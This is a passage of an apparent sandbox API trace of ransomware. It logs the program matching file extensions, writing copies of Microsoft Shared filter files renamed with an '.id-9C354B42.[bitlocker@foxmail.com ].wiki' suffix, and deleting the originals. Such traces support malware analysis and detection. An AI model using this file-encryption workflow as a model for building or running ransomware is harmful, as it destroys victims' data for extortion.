(lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0061.632] lstrlenW (lpString=".zip") returned 4 [0061.632] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0061.632] lstrlenW (lpString=".rar") returned 4 [0061.632] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0061.632] lstrlenW (lpString=".bz2") returned 4 [0061.632] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0061.632] lstrlenW (lpString=".7z") returned 3 [0061.632] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0061.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0061.632] lstrlenW (lpString=".dbf") returned 4 [0061.632] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0061.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0061.632] lstrlenW (lpString=".1cd") returned 4 [0061.632] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0061.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0061.633] lstrlenW (lpString=".jpg") returned 4 [0061.633] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0061.633] lstrcmpiW (lpString1=".dll", lpString2=".wiki") returned -1 [0061.633] lstrlenW (lpString="offfiltx.dll") returned 12 [0061.633] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0061.691] GetFileSizeEx (in: hFile=0x238, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1486736) returned 1 [0061.691] CloseHandle (hObject=0x238) returned 1 [0061.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll")) returned 0x20 [0061.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0061.692] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0061.692] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.692] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.692] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0061.692] GetLastError () returned 0x0 [0061.692] ReadFile (in: hFile=0x238, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0061.717] WriteFile (in: hFile=0x164, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0061.848] ReadFile (in: hFile=0x238, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0x6afa0, lpOverlapped=0x0) returned 1 [0061.862] WriteFile (in: hFile=0x164, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x6afb0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0x6afb0, lpOverlapped=0x0) returned 1 [0061.874] ReadFile (in: hFile=0x238, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.874] WriteFile (in: hFile=0x164, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.874] SetEndOfFile (hFile=0x164) returned 1 [0062.300] CloseHandle (hObject=0x164) returned 1 [0062.300] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.300] SetEndOfFile (hFile=0x238) returned 1 [0062.498] CloseHandle (hObject=0x238) returned 1 [0062.498] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0062.498] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll")) returned 1 [0062.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0062.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0062.499] lstrlenW (lpString=".doc") returned 4 [0062.499] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0062.499] lstrlenW (lpString=".docx") returned 5 [0062.499] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0062.499] lstrlenW (lpString=".pdf") returned 4 [0062.499] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0062.499] lstrlenW (lpString=".xls") returned 4 [0062.499] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0062.499] lstrlenW (lpString=".xlsx") returned 5 [0062.499] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0062.499] lstrlenW (lpString=".ppt") returned 4 [0062.499] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0062.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0062.499] lstrlenW (lpString=".zip") returned 4 [0062.499] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0062.499] lstrlenW (lpString=".rar") returned 4 [0062.499] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0062.499] lstrlenW (lpString=".bz2") returned 4 [0062.499] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0062.499] lstrlenW (lpString=".7z") returned 3 [0062.499] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0062.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0062.499] lstrlenW (lpString=".dbf") returned 4 [0062.499] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0062.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0062.499] lstrlenW (lpString=".1cd") returned 4 [0062.499] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0062.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0062.499] lstrlenW (lpString=".jpg") returned 4 [0062.499] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0062.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0062.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0062.500] lstrlenW (lpString=".doc") returned 4 [0062.500] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0062.500] lstrlenW (lpString=".docx") returned 5 [0062.500] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0062.500] lstrlenW (lpString=".pdf") returned 4 [0062.500] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0062.500] lstrlenW (lpString=".xls") returned 4 [0062.500] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0062.500] lstrlenW (lpString=".xlsx") returned 5 [0062.500] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0062.500] lstrlenW (lpString=".ppt") returned 4 [0062.500] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0062.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0062.500] lstrlenW (lpString=".zip") returned 4 [0062.500] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0062.500] lstrlenW (lpString=".rar") returned 4 [0062.500] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0062.500] lstrlenW (lpString=".bz2") returned 4 [0062.500] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0062.500] lstrlenW (lpString=".7z") returned 3 [0062.500] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0062.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0062.500] lstrlenW (lpString=".dbf") returned 4 [0062.500] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0062.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0062.500] lstrlenW (lpString=".1cd") returned 4 [0062.500] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0062.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0062.500] lstrlenW (lpString=".jpg") returned 4 [0062.500] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0062.501] lstrcmpiW (lpString1=".CFG", lpString2=".wiki") returned -1 [0062.501] lstrlenW (lpString="CGMIMP32.CFG") returned 12 [0062.501] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0062.501] GetFileSizeEx (in: hFile=0x238, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=6811) returned 1 [0062.501] CloseHandle (hObject=0x238) returned 1 [0062.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg")) returned 0x20 [0062.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0062.501] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0062.501] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.501] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.501] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0062.502] GetLastError () returned 0x0 [0062.502] ReadFile (in: hFile=0x238, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0x1a9b, lpOverlapped=0x0) returned 1 [0062.504] WriteFile (in: hFile=0x234, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x1aa0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0x1aa0, lpOverlapped=0x0) returned 1 [0062.505] ReadFile (in: hFile=0x238, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.505] WriteFile (in: hFile=0x234, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0062.505] SetEndOfFile (hFile=0x234) returned 1 [0062.505] CloseHandle (hObject=0x234) returned 1 [0062.505] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.505] SetEndOfFile (hFile=0x238) returned 1 [0062.506] CloseHandle (hObject=0x238) returned 1 [0062.506] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0062.507] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg")) returned 1 [0062.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0062.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0062.507] lstrlenW (lpString=".doc") returned 4 [0062.507] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0062.507] lstrlenW (lpString=".docx") returned 5 [0062.507] lstrcmpiW (lpString1=".docx", lpString2="2.CFG") returned -1 [0062.507] lstrlenW (lpString=".pdf") returned 4 [0062.507] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0062.507] lstrlenW (lpString=".xls") returned 4 [0062.507] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0062.507] lstrlenW (lpString=".xlsx") returned 5 [0062.507] lstrcmpiW (lpString1=".xlsx", lpString2="2.CFG") returned -1 [0062.507] lstrlenW (lpString=".ppt") returned 4 [0062.507] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0062.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0062.507] lstrlenW (lpString=".zip") returned 4 [0062.507] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0062.508] lstrlenW (lpString=".rar") returned 4 [0062.508] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0062.508] lstrlenW (lpString=".bz2") returned 4 [0062.508] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0062.508] lstrlenW (lpString=".7z") returned 3 [0062.508] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0062.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0062.508] lstrlenW (lpString=".dbf") returned 4 [0062.508] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0062.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0062.508] lstrlenW (lpString=".1cd") returned 4 [0062.508] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0062.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0062.508] lstrlenW (lpString=".jpg") returned 4 [0062.508] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0062.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0062.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0062.508] lstrlenW (lpString=".doc") returned 4 [0062.508] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0062.508] lstrlenW (lpString=".docx") returned 5 [0062.508] lstrcmpiW (lpString1=".docx", lpString2="2.CFG") returned -1 [0062.508] lstrlenW (lpString=".pdf") returned 4 [0062.508] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0062.508] lstrlenW (lpString=".xls") returned 4 [0062.508] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0062.508] lstrlenW (lpString=".xlsx") returned 5 [0062.508] lstrcmpiW (lpString1=".xlsx", lpString2="2.CFG") returned -1 [0062.509] lstrlenW (lpString=".ppt") returned 4 [0062.509] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0062.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0062.509] lstrlenW (lpString=".zip") returned 4 [0062.509] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0062.509] lstrlenW (lpString=".rar") returned 4 [0062.509] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0062.509] lstrlenW (lpString=".bz2") returned 4 [0062.509] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0062.509] lstrlenW (lpString=".7z") returned 3 [0062.509] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0062.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0062.509] lstrlenW (lpString=".dbf") returned 4 [0062.509] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0062.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0062.509] lstrlenW (lpString=".1cd") returned 4 [0062.509] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0062.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0062.509] lstrlenW (lpString=".jpg") returned 4 [0062.509] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0062.509] lstrcmpiW (lpString1=".FLT", lpString2=".wiki") returned -1 [0062.509] lstrlenW (lpString="CGMIMP32.FLT") returned 12 [0062.509] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0062.511] GetFileSizeEx (in: hFile=0x238, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=323936) returned 1 [0062.511] CloseHandle (hObject=0x238) returned 1 [0062.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt")) returned 0x20 [0062.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0062.511] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0062.511] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.511] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.511] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0062.511] GetLastError () returned 0x0 [0062.511] ReadFile (in: hFile=0x238, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0x4f160, lpOverlapped=0x0) returned 1 [0062.518] WriteFile (in: hFile=0x234, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x4f170, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0x4f170, lpOverlapped=0x0) returned 1 [0062.524] ReadFile (in: hFile=0x238, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.524] WriteFile (in: hFile=0x234, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0062.524] SetEndOfFile (hFile=0x234) returned 1 [0062.524] CloseHandle (hObject=0x234) returned 1 [0062.524] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.524] SetEndOfFile (hFile=0x238) returned 1 [0062.527] CloseHandle (hObject=0x238) returned 1 [0062.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0062.528] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt")) returned 1 [0062.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0062.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0062.528] lstrlenW (lpString=".doc") returned 4 [0062.528] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0062.528] lstrlenW (lpString=".docx") returned 5 [0062.528] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0062.528] lstrlenW (lpString=".pdf") returned 4 [0062.528] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0062.528] lstrlenW (lpString=".xls") returned 4 [0062.528] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0062.528] lstrlenW (lpString=".xlsx") returned 5 [0062.528] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0062.528] lstrlenW (lpString=".ppt") returned 4 [0062.528] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0062.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0062.528] lstrlenW (lpString=".zip") returned 4 [0062.528] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0062.528] lstrlenW (lpString=".rar") returned 4 [0062.528] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0062.528] lstrlenW (lpString=".bz2") returned 4 [0062.528] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0062.528] lstrlenW (lpString=".7z") returned 3 [0062.528] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0062.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0062.529] lstrlenW (lpString=".dbf") returned 4 [0062.529] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0062.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0062.529] lstrlenW (lpString=".1cd") returned 4 [0062.529] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0062.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0062.529] lstrlenW (lpString=".jpg") returned 4 [0062.529] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0062.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0062.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0062.529] lstrlenW (lpString=".doc") returned 4 [0062.529] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0062.529] lstrlenW (lpString=".docx") returned 5 [0062.529] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0062.529] lstrlenW (lpString=".pdf") returned 4 [0062.529] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0062.529] lstrlenW (lpString=".xls") returned 4 [0062.529] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0062.529] lstrlenW (lpString=".xlsx") returned 5 [0062.529] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0062.529] lstrlenW (lpString=".ppt") returned 4 [0062.529] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0062.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0062.529] lstrlenW (lpString=".zip") returned 4 [0062.529] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0062.529] lstrlenW (lpString=".rar") returned 4 [0062.529] lstrcmpiW 